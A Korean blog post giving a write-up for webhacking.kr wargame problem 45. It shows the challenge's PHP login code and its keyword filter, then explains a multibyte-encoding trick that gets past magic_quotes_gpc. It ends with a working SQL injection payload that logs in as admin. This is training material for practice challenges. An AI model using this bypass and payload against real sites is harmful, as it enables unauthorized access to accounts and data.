일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 보안
- CTF
- wargame.kr
- kangsecu
- 시스템
- 프로그래밍
- WarGame
- 선린인터넷고등학교
- 자료구조
- webhacking
- 포렌식
- hacking
- 네퓨즈
- 해킹
- 문제풀이
- xcz
- 웹해킹
- 정보보안
- 블록체인
- DVP
- 버그바운티
- nefus
- 정보보호
- 워게임
- Pwnable
- webhacking.kr
- 코드게이트
- 버그헌팅
- 포너블
- C언어
- Today
- Total
kangsecu's B1og
[Webhacking.kr] pro45 문제풀이 본문
문제에 들어가면 아래와 같은 로그인 화면이 출력됩니다.
이제 url에 index.phps를 추가하여서 문제의 코드를 확인합니다. 이제 코드를 확인해 보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | <? $pw="?????"; if($_GET[id] && $_GET[pw]) { $_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'); $data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')")); if(eregi("admin",$_GET[id])) exit(); if(eregi("from",$_GET[id])) exit(); if(eregi("union",$_GET[id])) exit(); if(eregi("limit",$_GET[id])) exit(); if(eregi("union",$_GET[pw])) exit(); if(eregi("pw",$_GET[pw])) exit(); if(eregi("=",$_GET[pw])) exit(); if(eregi(">",$_GET[pw])) exit(); if(eregi("<",$_GET[pw])) exit(); if(eregi("from",$_GET[pw])) exit(); if($data) { echo("hi $data[0]<br><br>"); if($data[0]=="admin") @solve(); } if(!$data) { echo("Wrong"); } } ?> | cs |
이렇게 코드가 있습니다. 취약점을 살펴보니 잘 모르겠는데, $_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'); 이라는 코드에서 id와pw의 값을 모두 mb_convert_encoding()를 이용해서 인코딩 하는데, 이는 멀티바이트는 \앞에 %a1 ~ %fe의 값이 들어오면magic_quotes_gpc를 우회 할 수있습니다. 그리고 결정적으로 id라는 변수에 값이 admin이면 해결이 됩니다. 그래서 char(97,100,109,105,110)을 이용하여 admin을 대입 하였습니다. php의 mb_convert_encoding함수의 내용은 http://php.net/manual/en/function.mb-convert-encoding.php 에 자세하게 나와있습니다.
Injection Vector
mb_convert_encoding함수의 취약점을 이용하여 magic_quotes_gpc 우회를 하고 char을 이용하여 ascii값들을 대입해서 admin이라는 값을 인젝션 합니다.
Exploit
?id=%A1%27||id=char(97,100,109,105,110) 를 입력하고 뒤에를 주석처리 하기 위하여 %23을 입력해주면 문제가 해결됩니다.
즉 ?id=%A1%27||id=char(97,100,109,105,110)%23 입니다.
'Web Hacking > webhakcing.kr' 카테고리의 다른 글
[webhacking.kr]pro 28 문제풀이 (0) | 2018.02.01 |
---|---|
[webhacking.kr]pro34 문제풀이 (0) | 2018.02.01 |
[webhacking.kr] pro 17 문제풀이 (0) | 2018.01.22 |
[webhacking.kr] pro 6번 문제풀이 (0) | 2018.01.22 |
[Webhacking.kr] pro26 문제풀이 (0) | 2017.12.26 |